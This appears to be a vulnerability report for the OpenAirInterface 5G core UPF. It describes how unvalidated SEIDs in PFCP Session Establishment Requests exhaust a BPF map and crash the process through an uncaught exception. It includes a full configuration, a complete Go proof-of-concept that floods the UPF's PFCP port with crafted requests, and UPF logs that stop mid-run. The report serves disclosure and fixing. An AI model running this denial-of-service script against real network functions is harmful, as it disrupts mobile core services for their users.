Skip to content

UPF crash on PFCP Session Establishment Request with unvalidated SEID (resource exhaustion via BPF map)

OAI-CN-5G Release, Revision, or Tag

Description

When the UPF handles PFCP Session Establishment Requests, the SEID in the F-SEID IE is not properly validated (e.g. values like UINT64_MAX are accepted without checks).

For each request whose F-SEID does not match an existing session, the UPF always creates a new PFCP session and installs corresponding entries into internal maps, including a BPF map (e.g. m_session_pdrs).

If an attacker sends multiple Session Establishment Requests with distinct SEIDs (for example, starting from 0xFFFFFFFFFFFFFFFF and decrementing, or just many unique SEIDs), the UPF creates a new session for each request. Eventually, the BPF map update in the datapath pipeline (during SessionManager::createBPFSession() / SessionProgramManager::createPipeline()) starts to fail with bpf_map_update_elem() returning E2BIG (errno 7).

This error is converted into a std::runtime_error("The BPF map cannot be updated") which is not caught anywhere in the call stack (createPipeline → createBPFSession → call_datapath → handle_pfcp_session_establishment_request), leading to process termination and UPF crash.

Config

config.yaml

      ################################################################################
# Licensed to the OpenAirInterface (OAI) Software Alliance under one or more
# contributor license agreements.  See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The OpenAirInterface Software Alliance licenses this file to You under
# the OAI Public License, Version 1.1  (the "License"); you may not use this file
# except in compliance with the License.
# You may obtain a copy of the License at
#
#      http://www.openairinterface.org/?page_id=698
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#-------------------------------------------------------------------------------
# For more information about the OpenAirInterface (OAI) Software Alliance:
#      contact@openairinterface.org
################################################################################

# OAI CN Configuration File
### This file can be used by all OAI NFs
### Some fields are specific to an NF and will be ignored by other NFs
### The {{ env['ENV_NAME'] }} syntax lets you define these values in a docker-compose file
### If you intend to mount this file or use a bare-metal deployment, please refer to README.md
### The README.md also defines default values and allowed values for each configuration parameter

############# Common configuration

# Log level for all the NFs
log_level:
  general: debug

# If you enable registration, the other NFs will use the NRF discovery mechanism
register_nf:
  general: yes
  
http_version: 2

############## SBI Interfaces
### Each NF takes its local SBI interfaces and remote interfaces from here, unless it gets them using NRF discovery mechanisms
nfs:
  amf:
    host: oai-amf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
    n2:
      interface_name: eth0
      port: 38412
  smf:
    host: oai-smf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
    n4:
      interface_name: eth0
      port: 8805
  upf:
    host: oai-upf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth1
    n3:
      interface_name: eth0
      port: 2152
    n4:
      interface_name: eth0
      port: 8805
    n6:
      interface_name: eth1
    n9:
      interface_name: eth0
      port: 2152
  udm:
    host: oai-udm
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
  udr:
    host: oai-udr
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
  ausf:
    host: oai-ausf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
  nrf:
    host: oai-nrf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0

#### Common for UDR and AMF
database:
  host: mysql
  user: test
  type: mysql
  password: test
  database_name: oai_db
  generate_random: true
  connection_timeout: 300 # seconds

## general single_nssai configuration
## Defines YAML anchors, which are reused in the config file
snssais:
  - &embb_slice
    sst: 1

############## NF-specific configuration
amf:
  pid_directory: "/var/run"
  amf_name: "OAI-AMF"
  # This really depends on if we want to keep the "mini" version or not
  support_features_options:
    enable_simple_scenario: no
    enable_nssf: no
    enable_smf_selection: yes
    use_external_udm: no
  relative_capacity: 30
  statistics_timer_interval: 20  #in seconds
  emergency_support: false
  served_guami_list:
    - mcc: 001
      mnc: 01
      amf_region_id: 01
      amf_set_id: 001
      amf_pointer: 01
  plmn_support_list:
    - mcc: 001
      mnc: 01
      tac: 0x0001
      nssai:
        - *embb_slice
  supported_integrity_algorithms:
    - "NIA1"
    - "NIA2"
  supported_encryption_algorithms:
    - "NEA0"
    - "NEA1"
    - "NEA2"

smf:
  ue_mtu: 1500
  support_features:
    use_local_subscription_info: yes # Use infos from local_subscription_info or from UDM
    use_local_pcc_rules: yes # Use infos from local_pcc_rules or from PCF
  # we resolve from NRF, this is just to configure usage_reporting
  upfs:
    - host: oai-upf
      config:
        enable_usage_reporting: no
  ue_dns:
    primary_ipv4: "1.1.1.1"
    primary_ipv6: "2001:4860:4860::8888"
    secondary_ipv4: "8.8.8.8"
    secondary_ipv6: "2001:4860:4860::8888"
  ims:
    pcscf_ipv4: "192.168.70.139"
    pcscf_ipv6: "fe80::7915:f408:1787:db8b"
  # the DNN you configure here should be configured in "dnns"
  # follows the SmfInfo datatype from 3GPP TS 29.510
  smf_info:
    sNssaiSmfInfoList:
      - sNssai: *embb_slice
        dnnSmfInfoList:
          - dnn: "oai"
          - dnn: "openairinterface"
          - dnn: "ims"
          - dnn: "default"
  local_subscription_infos:
    - single_nssai: *embb_slice
      dnn: "oai"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"
    - single_nssai: *embb_slice
      dnn: "openairinterface"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"
    - single_nssai: *embb_slice
      dnn: "ims"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"
    - single_nssai: *embb_slice
      dnn: "default"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"

upf:
  support_features:
    enable_bpf_datapath: off    # If "on": BPF is used as datapath else simpleswitch is used, DEFAULT= off
    enable_snat: yes           # If "on": Source natting is done for UE, DEFAULT= off
  remote_n6_gw: 127.0.0.1      # Dummy host since simple-switch does not use N6 GW
  smfs:
    - host: oai-smf            # To be used for PFCP association in case of no-NRF
  upf_info:
    sNssaiUpfInfoList:
      - sNssai: *embb_slice
        dnnUpfInfoList:
          - dnn: "oai"
          - dnn: "openairinterface"
          - dnn: "ims"
          - dnn: "default"

## DNN configuration
dnns:
  - dnn: "oai"
    pdu_session_type: "IPV4"
    ipv4_subnet: "10.0.0.0/24"
  - dnn: "openairinterface"
    pdu_session_type: "IPV4V6"
    ipv4_subnet: "10.0.1.0/24"
    ipv6_prefix: "2001:1:2::/64"
  - dnn: "ims"
    pdu_session_type: "IPV4V6"
    ipv4_subnet: "10.0.9.0/24"
    ipv6_prefix: "2001:1:2::/64"
  - dnn: "default"
    pdu_session_type: "IPV4V6"
    ipv4_subnet: "10.0.255.0/24"
    ipv6_prefix: "2001:1:2::/64"

Steps to reproduce

  1. Start a new go project inside a new folder: go mod init poc

  2. Create a main.go and paste the code below:

    package main
    
    /*
     * POC: Invalid SEID value causing memory exhaustion / resource exhaustion (Risk 1.8)
     *
     * Vulnerability description:
     * By setting SEID = 0xFFFFFFFFFFFFFFFF or other very large values in
     * Session Establishment/Modification Requests, the implementation
     * may create a large number of map entries (sessions), which can lead
     * to memory exhaustion or performance degradation (DoS).
     *
     * Trigger conditions:
     * 1. Send Session Establishment/Modification Requests
     * 2. Set SEID in F-SEID IE to 0xFFFFFFFFFFFFFFFF (or similarly extreme values)
     * 3. This may cause memory exhaustion or performance degradation
     *
     * Crash location: SessionManager.cpp:227 (mSeidToSession[seid])
     * Crash type: DoS (memory exhaustion or heavy performance degradation)
     *
     * Reference code:
     * - SessionManager.cpp:227 (SEID storage)
     * - SessionManager.h:212 (mSeidToSession map)
     */
    
    import (
    	"encoding/hex"
    	"flag"
    	"fmt"
    	"log"
    	"math/rand"
    	"net"
    	"time"
    
    	"github.com/wmnsk/go-pfcp/ie"
    	"github.com/wmnsk/go-pfcp/message"
    )
    
    const (
    	defaultPFCPPort = 8805
    	defaultTimeout  = 10 * time.Second
    )
    
    type seidInvalidClient struct {
    	nodeIP net.IP
    	cpSeid uint64
    	seq    uint32
    }
    
    func (c *seidInvalidClient) nextSeq() uint32 {
    	c.seq++
    	if c.seq == 0 || c.seq > 0x00ffffff {
    		c.seq = 1
    	}
    	return c.seq
    }
    
    func (c *seidInvalidClient) baseSessIEs(dnn string, invalidSEID uint64) []*ie.IE {
    	// Use an invalid / extreme SEID in F-SEID IE
    	return []*ie.IE{
    		ie.NewNodeID(c.nodeIP.String(), "", ""),
    		ie.NewFSEID(invalidSEID, c.nodeIP, nil), // ⚠️ Use invalid SEID
    		ie.NewPDNType(ie.PDNTypeIPv4),
    	}
    }
    
    func (c *seidInvalidClient) sendAssociation(conn *net.UDPConn) error {
    	req := message.NewAssociationSetupRequest(
    		c.nextSeq(),
    		ie.NewNodeID(c.nodeIP.String(), "", ""),
    		ie.NewRecoveryTimeStamp(time.Now()),
    		ie.NewCPFunctionFeatures(0x3f),
    	)
    	payload, err := req.Marshal()
    	if err != nil {
    		return fmt.Errorf("marshal association: %w", err)
    	}
    	if _, err := conn.Write(payload); err != nil {
    		return fmt.Errorf("send association: %w", err)
    	}
    	log.Printf("Sent Association Setup Request")
    	time.Sleep(500 * time.Millisecond)
    	return nil
    }
    
    func (c *seidInvalidClient) buildSessionEstablishmentWithInvalidSEID(dnn string, invalidSEID uint64) (*message.SessionEstablishmentRequest, error) {
    	// Key: build Session Establishment with invalid SEID (e.g. 0xFFFFFFFFFFFFFFFF)
    	pdrUplink := ie.NewCreatePDR(
    		ie.NewPDRID(1),
    		ie.NewPrecedence(32),
    		ie.NewPDI(
    			ie.NewSourceInterface(ie.SrcInterfaceAccess),
    			ie.NewNetworkInstance(dnn),
    			ie.NewFTEID(0x01, 0, net.IPv4(0, 0, 0, 0), nil, 0),
    		),
    		ie.NewFARID(1),
    	)
    
    	farUplink := ie.NewCreateFAR(
    		ie.NewFARID(1),
    		ie.NewApplyAction(0x02), // FORW
    		ie.NewForwardingParameters(
    			ie.NewDestinationInterface(ie.DstInterfaceCore),
    		),
    	)
    
    	payload := append([]*ie.IE{}, c.baseSessIEs(dnn, invalidSEID)...)
    	payload = append(payload, pdrUplink, farUplink)
    
    	return message.NewSessionEstablishmentRequest(0, 0, invalidSEID, c.nextSeq(), 0, payload...), nil
    }
    
    func main() {
    	var (
    		target      = flag.String("target", "127.0.0.1:8805", "UPF PFCP endpoint")
    		nodeIPStr   = flag.String("node-ip", "10.0.0.1", "Local NodeID IPv4")
    		dnn         = flag.String("dnn", "internet", "Network Instance / DNN")
    		invalidSEID = flag.Uint64("invalid-seid", 0xFFFFFFFFFFFFFFFF, "Invalid SEID value (default: 0xFFFFFFFFFFFFFFFF)")
    		dump        = flag.Bool("dump", false, "Dump crafted PFCP bytes")
    		count       = flag.Int("count", 10, "Number of requests to send (for DoS)")
    	)
    	flag.Parse()
    
    	nodeIP := net.ParseIP(*nodeIPStr)
    	if nodeIP == nil {
    		log.Fatalf("invalid node-ip: %s", *nodeIPStr)
    	}
    
    	addr, err := net.ResolveUDPAddr("udp", *target)
    	if err != nil {
    		log.Fatalf("resolve UDP addr: %v", err)
    	}
    
    	conn, err := net.DialUDP("udp", nil, addr)
    	if err != nil {
    		log.Fatalf("dial PFCP: %v", err)
    	}
    	defer conn.Close()
    
    	rand.Seed(time.Now().UnixNano())
    	cpSeid := uint64(rand.Uint32())<<32 | uint64(rand.Uint32())
    	client := &seidInvalidClient{
    		nodeIP: nodeIP,
    		cpSeid: cpSeid,
    		seq:    uint32(rand.Intn(0x00ffffff)),
    	}
    
    	// Step 1: Association Setup
    	if err := client.sendAssociation(conn); err != nil {
    		log.Printf("association setup failed: %v", err)
    	}
    
    	conn.SetReadDeadline(time.Now().Add(2 * time.Second))
    	assocBuf := make([]byte, 2048)
    	if n, err := conn.Read(assocBuf); err == nil {
    		log.Printf("Received Association Setup Response (%d bytes)", n)
    	} else {
    		log.Printf("No Association Setup Response received (continuing anyway): %v", err)
    	}
    	time.Sleep(500 * time.Millisecond)
    
    	// Step 2: Send multiple Session Establishment Requests with invalid SEID
    	log.Printf("")
    	log.Printf("=== Triggering Invalid SEID DoS ===")
    	log.Printf("Invalid SEID: 0x%x", *invalidSEID)
    	log.Printf("Sending %d requests", *count)
    	log.Printf("Expected: Memory exhaustion or performance degradation")
    
    	for i := 0; i < *count; i++ {
    		// Use a different SEID on each request (all close to the maximum)
    		currentSEID := *invalidSEID - uint64(i)
    
    		estReq, err := client.buildSessionEstablishmentWithInvalidSEID(*dnn, currentSEID)
    		if err != nil {
    			log.Printf("Request %d: build session failed: %v", i+1, err)
    			continue
    		}
    		payload, err := estReq.Marshal()
    		if err != nil {
    			log.Printf("Request %d: marshal session failed: %v", i+1, err)
    			continue
    		}
    		if *dump && i == 0 {
    			fmt.Printf("Session Establishment Request (%d bytes):\n%s\n", len(payload), hex.Dump(payload))
    		}
    		if _, err := conn.Write(payload); err != nil {
    			log.Printf("Request %d: send session failed: %v", i+1, err)
    			continue
    		}
    		log.Printf("Request %d: Sent Session Establishment Request (SEID=0x%x)", i+1, currentSEID)
    
    		// Short delay to avoid sending too fast
    		time.Sleep(100 * time.Millisecond)
    	}
    
    	log.Printf("")
    	log.Printf("✓ Sent %d requests with invalid SEID", *count)
    	log.Printf("Expected effects:")
    	log.Printf("  1. Memory exhaustion (map nodes allocation)")
    	log.Printf("  2. Performance degradation (map lookup)")
    	log.Printf("  3. Possible crash if memory is exhausted")
    	log.Printf("")
    	log.Printf("Monitor UPF memory usage and performance")
    }
    
  3. Download required libraries: go mod tidy

  4. Run the program with the upf pfcp server address: go run poc_seid_invalid.go -target 192.168.70.134:8805 -node-ip 10.0.0.1 -dnn internet -invalid-seid 0xFFFFFFFFFFFFFFFF -count 9 -dump

Logs

[2025-12-10 17:29:18.623] [upf_n4 ] [info] handle_receive(30 bytes)
[2025-12-10 17:29:18.623] [upf_n4 ] [info] Handle SX ASSOCIATION SETUP REQUEST
[2025-12-10 17:29:18.750] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-12-10 17:29:18.750] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-12-10 17:29:19.624] [upf_n4 ] [info] handle_receive(133 bytes)
[2025-12-10 17:29:19.626] [upf_app] [info] Received N4_SESSION_ESTABLISHMENT_REQUEST seid 0xffffffffffffffff 
[2025-12-10 17:29:19.626] [upf_n4 ] [info] pfcp_session::add(far) seid 0x1 
[2025-12-10 17:29:19.626] [upf_n4 ] [info] TEID received from CP
[2025-12-10 17:29:19.627] [upf_n4 ] [info] pfcp_session::add(pdr) seid 0x1 
[2025-12-10 17:29:19.627] [upf_app] [info] Establish datapath: create(pdr(s) & far(s))
[2025-12-10 17:29:19.627] [upf_app] [debug] sessionManager::createBpfSession() seid 0x1 
[2025-12-10 17:29:19.628] [upf_app] [debug] Processing PDR 1 on establishment
[2025-12-10 17:29:19.628] [upf_app] [warning] UE IP Address is missing for PDR 1
[2025-12-10 17:29:19.629] [upf_app] [debug] The key is updated in the map: m_session_mapping
[2025-12-10 17:29:19.629] [upf_app] [debug] Missing qer for pdr 1
[2025-12-10 17:29:19.629] [upf_app] [debug] The key is updated in the map: m_rules_match_pdr
[2025-12-10 17:29:19.629] [upf_app] [debug] (upf_n6_ip, dn_ip ) : (192.168.70.240, 127.0.0.1) For PDR 1
[2025-12-10 17:29:19.629] [upf_app] [debug]  same subnet
[2025-12-10 17:29:19.633] [upf_app] [error] Error: The ARP table was not updated for N6 Next HOP
[2025-12-10 17:29:19.635] [upf_app] [debug] SDF Filter Lengh (0)
[2025-12-10 17:29:19.635] [upf_app] [debug] The key is updated in the map: m_session_pdrs
[2025-12-10 17:29:19.635] [upf_app] [debug] Session seid 0x1 successfully created

+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| PFCP switch Packet Detection Rule list ordered by established sessions:                                                                                                                          |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
|  SEID          |pdr |  far   |predence|   action   |        create outer hdr         tun id| rmv outer hdr  tun id|    UE IPv4     |                                                             |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
|0000000000000001|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

[2025-12-10 17:29:19.725] [upf_n4 ] [info] handle_receive(133 bytes)
[2025-12-10 17:29:19.725] [upf_app] [info] Received N4_SESSION_ESTABLISHMENT_REQUEST seid 0xfffffffffffffffe 
[2025-12-10 17:29:19.725] [upf_n4 ] [info] pfcp_session::add(far) seid 0x2 
[2025-12-10 17:29:19.725] [upf_n4 ] [info] TEID received from CP
[2025-12-10 17:29:19.725] [upf_n4 ] [info] pfcp_session::add(pdr) seid 0x2 
[2025-12-10 17:29:19.725] [upf_app] [info] Establish datapath: create(pdr(s) & far(s))
[2025-12-10 17:29:19.725] [upf_app] [debug] sessionManager::createBpfSession() seid 0x2 
[2025-12-10 17:29:19.725] [upf_app] [debug] Processing PDR 1 on establishment
[2025-12-10 17:29:19.725] [upf_app] [warning] UE IP Address is missing for PDR 1
[2025-12-10 17:29:19.725] [upf_app] [debug] The key is updated in the map: m_session_mapping
[2025-12-10 17:29:19.725] [upf_app] [debug] Missing qer for pdr 1
[2025-12-10 17:29:19.725] [upf_app] [debug] The key is updated in the map: m_rules_match_pdr
[2025-12-10 17:29:19.725] [upf_app] [debug] SDF Filter Lengh (0)
[2025-12-10 17:29:19.725] [upf_app] [debug] The key is updated in the map: m_session_pdrs
[2025-12-10 17:29:19.725] [upf_app] [debug] Session seid 0x2 successfully created

+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| PFCP switch Packet Detection Rule list ordered by established sessions:                                                                                                                          |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
|  SEID          |pdr |  far   |predence|   action   |        create outer hdr         tun id| rmv outer hdr  tun id|    UE IPv4     |                                                             |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
|0000000000000001|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000002|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

[2025-12-10 17:29:19.725] [upf_app] [debug] (upf_n6_ip, dn_ip ) : (192.168.70.240, 127.0.0.1) For PDR 1
[2025-12-10 17:29:19.725] [upf_app] [debug]  same subnet
[2025-12-10 17:29:19.725] [upf_app] [error] Error: The ARP table was not updated for N6 Next HOP
[2025-12-10 17:29:19.826] [upf_n4 ] [info] handle_receive(133 bytes)
[2025-12-10 17:29:19.826] [upf_app] [info] Received N4_SESSION_ESTABLISHMENT_REQUEST seid 0xfffffffffffffffd 
[2025-12-10 17:29:19.826] [upf_n4 ] [info] pfcp_session::add(far) seid 0x3 
[2025-12-10 17:29:19.826] [upf_n4 ] [info] TEID received from CP
[2025-12-10 17:29:19.826] [upf_n4 ] [info] pfcp_session::add(pdr) seid 0x3 
[2025-12-10 17:29:19.826] [upf_app] [info] Establish datapath: create(pdr(s) & far(s))
[2025-12-10 17:29:19.826] [upf_app] [debug] sessionManager::createBpfSession() seid 0x3 
[2025-12-10 17:29:19.826] [upf_app] [debug] Processing PDR 1 on establishment
[2025-12-10 17:29:19.826] [upf_app] [warning] UE IP Address is missing for PDR 1
[2025-12-10 17:29:19.826] [upf_app] [debug] The key is updated in the map: m_session_mapping
[2025-12-10 17:29:19.826] [upf_app] [debug] Missing qer for pdr 1
[2025-12-10 17:29:19.826] [upf_app] [debug] The key is updated in the map: m_rules_match_pdr
[2025-12-10 17:29:19.826] [upf_app] [debug] SDF Filter Lengh (0)
[2025-12-10 17:29:19.826] [upf_app] [debug] The key is updated in the map: m_session_pdrs
[2025-12-10 17:29:19.826] [upf_app] [debug] Session seid 0x3 successfully created

+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| PFCP switch Packet Detection Rule list ordered by established sessions:                                                                                                                          |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
|  SEID          |pdr |  far   |predence|   action   |        create outer hdr         tun id| rmv outer hdr  tun id|    UE IPv4     |                                                             |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
|0000000000000001|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000002|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000003|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

[2025-12-10 17:29:19.826] [upf_app] [debug] (upf_n6_ip, dn_ip ) : (192.168.70.240, 127.0.0.1) For PDR 1
[2025-12-10 17:29:19.826] [upf_app] [debug]  same subnet
[2025-12-10 17:29:19.826] [upf_app] [error] Error: The ARP table was not updated for N6 Next HOP
[2025-12-10 17:29:19.927] [upf_n4 ] [info] handle_receive(133 bytes)
[2025-12-10 17:29:19.927] [upf_app] [info] Received N4_SESSION_ESTABLISHMENT_REQUEST seid 0xfffffffffffffffc 
[2025-12-10 17:29:19.927] [upf_n4 ] [info] pfcp_session::add(far) seid 0x4 
[2025-12-10 17:29:19.927] [upf_n4 ] [info] TEID received from CP
[2025-12-10 17:29:19.927] [upf_n4 ] [info] pfcp_session::add(pdr) seid 0x4 
[2025-12-10 17:29:19.927] [upf_app] [info] Establish datapath: create(pdr(s) & far(s))
[2025-12-10 17:29:19.927] [upf_app] [debug] sessionManager::createBpfSession() seid 0x4 
[2025-12-10 17:29:19.927] [upf_app] [debug] Processing PDR 1 on establishment
[2025-12-10 17:29:19.927] [upf_app] [warning] UE IP Address is missing for PDR 1
[2025-12-10 17:29:19.927] [upf_app] [debug] The key is updated in the map: m_session_mapping
[2025-12-10 17:29:19.927] [upf_app] [debug] Missing qer for pdr 1
[2025-12-10 17:29:19.927] [upf_app] [debug] The key is updated in the map: m_rules_match_pdr
[2025-12-10 17:29:19.927] [upf_app] [debug] SDF Filter Lengh (0)
[2025-12-10 17:29:19.927] [upf_app] [debug] The key is updated in the map: m_session_pdrs
[2025-12-10 17:29:19.927] [upf_app] [debug] Session seid 0x4 successfully created

+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| PFCP switch Packet Detection Rule list ordered by established sessions:                                                                                                                          |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
|  SEID          |pdr |  far   |predence|   action   |        create outer hdr         tun id| rmv outer hdr  tun id|    UE IPv4     |                                                             |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
|0000000000000001|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000002|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000003|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000004|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

[2025-12-10 17:29:19.927] [upf_app] [debug] (upf_n6_ip, dn_ip ) : (192.168.70.240, 127.0.0.1) For PDR 1
[2025-12-10 17:29:19.927] [upf_app] [debug]  same subnet
[2025-12-10 17:29:19.927] [upf_app] [error] Error: The ARP table was not updated for N6 Next HOP
[2025-12-10 17:29:20.027] [upf_n4 ] [info] handle_receive(133 bytes)
[2025-12-10 17:29:20.028] [upf_app] [info] Received N4_SESSION_ESTABLISHMENT_REQUEST seid 0xfffffffffffffffb 
[2025-12-10 17:29:20.028] [upf_n4 ] [info] pfcp_session::add(far) seid 0x5 
[2025-12-10 17:29:20.028] [upf_n4 ] [info] TEID received from CP
[2025-12-10 17:29:20.028] [upf_n4 ] [info] pfcp_session::add(pdr) seid 0x5 
[2025-12-10 17:29:20.028] [upf_app] [info] Establish datapath: create(pdr(s) & far(s))
[2025-12-10 17:29:20.028] [upf_app] [debug] sessionManager::createBpfSession() seid 0x5 
[2025-12-10 17:29:20.028] [upf_app] [debug] Processing PDR 1 on establishment
[2025-12-10 17:29:20.028] [upf_app] [warning] UE IP Address is missing for PDR 1
[2025-12-10 17:29:20.028] [upf_app] [debug] The key is updated in the map: m_session_mapping
[2025-12-10 17:29:20.028] [upf_app] [debug] Missing qer for pdr 1
[2025-12-10 17:29:20.028] [upf_app] [debug] The key is updated in the map: m_rules_match_pdr
[2025-12-10 17:29:20.028] [upf_app] [debug] SDF Filter Lengh (0)
[2025-12-10 17:29:20.028] [upf_app] [debug] The key is updated in the map: m_session_pdrs
[2025-12-10 17:29:20.028] [upf_app] [debug] Session seid 0x5 successfully created

+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| PFCP switch Packet Detection Rule list ordered by established sessions:                                                                                                                          |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
|  SEID          |pdr |  far   |predence|   action   |        create outer hdr         tun id| rmv outer hdr  tun id|    UE IPv4     |                                                             |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
|0000000000000001|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000002|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000003|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000004|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000005|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

[2025-12-10 17:29:20.028] [upf_app] [debug] (upf_n6_ip, dn_ip ) : (192.168.70.240, 127.0.0.1) For PDR 1
[2025-12-10 17:29:20.028] [upf_app] [debug]  same subnet
[2025-12-10 17:29:20.028] [upf_app] [error] Error: The ARP table was not updated for N6 Next HOP
[2025-12-10 17:29:20.128] [upf_n4 ] [info] handle_receive(133 bytes)
[2025-12-10 17:29:20.128] [upf_app] [info] Received N4_SESSION_ESTABLISHMENT_REQUEST seid 0xfffffffffffffffa 
[2025-12-10 17:29:20.128] [upf_n4 ] [info] pfcp_session::add(far) seid 0x6 
[2025-12-10 17:29:20.128] [upf_n4 ] [info] TEID received from CP
[2025-12-10 17:29:20.128] [upf_n4 ] [info] pfcp_session::add(pdr) seid 0x6 
[2025-12-10 17:29:20.128] [upf_app] [info] Establish datapath: create(pdr(s) & far(s))
[2025-12-10 17:29:20.128] [upf_app] [debug] sessionManager::createBpfSession() seid 0x6 
[2025-12-10 17:29:20.128] [upf_app] [debug] Processing PDR 1 on establishment
[2025-12-10 17:29:20.128] [upf_app] [warning] UE IP Address is missing for PDR 1
[2025-12-10 17:29:20.128] [upf_app] [debug] The key is updated in the map: m_session_mapping
[2025-12-10 17:29:20.128] [upf_app] [debug] Missing qer for pdr 1
[2025-12-10 17:29:20.128] [upf_app] [debug] The key is updated in the map: m_rules_match_pdr
[2025-12-10 17:29:20.128] [upf_app] [debug] SDF Filter Lengh (0)
[2025-12-10 17:29:20.128] [upf_app] [debug] The key is updated in the map: m_session_pdrs
[2025-12-10 17:29:20.128] [upf_app] [debug] Session seid 0x6 successfully created

+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| PFCP switch Packet Detection Rule list ordered by established sessions:                                                                                                                          |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
|  SEID          |pdr |  far   |predence|   action   |        create outer hdr         tun id| rmv outer hdr  tun id|    UE IPv4     |                                                             |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
|0000000000000001|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000002|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000003|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000004|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000005|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000006|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

[2025-12-10 17:29:20.129] [upf_app] [debug] (upf_n6_ip, dn_ip ) : (192.168.70.240, 127.0.0.1) For PDR 1
[2025-12-10 17:29:20.129] [upf_app] [debug]  same subnet
[2025-12-10 17:29:20.129] [upf_app] [error] Error: The ARP table was not updated for N6 Next HOP
[2025-12-10 17:29:20.229] [upf_n4 ] [info] handle_receive(133 bytes)
[2025-12-10 17:29:20.229] [upf_app] [info] Received N4_SESSION_ESTABLISHMENT_REQUEST seid 0xfffffffffffffff9 
[2025-12-10 17:29:20.229] [upf_n4 ] [info] pfcp_session::add(far) seid 0x7 
[2025-12-10 17:29:20.229] [upf_n4 ] [info] TEID received from CP
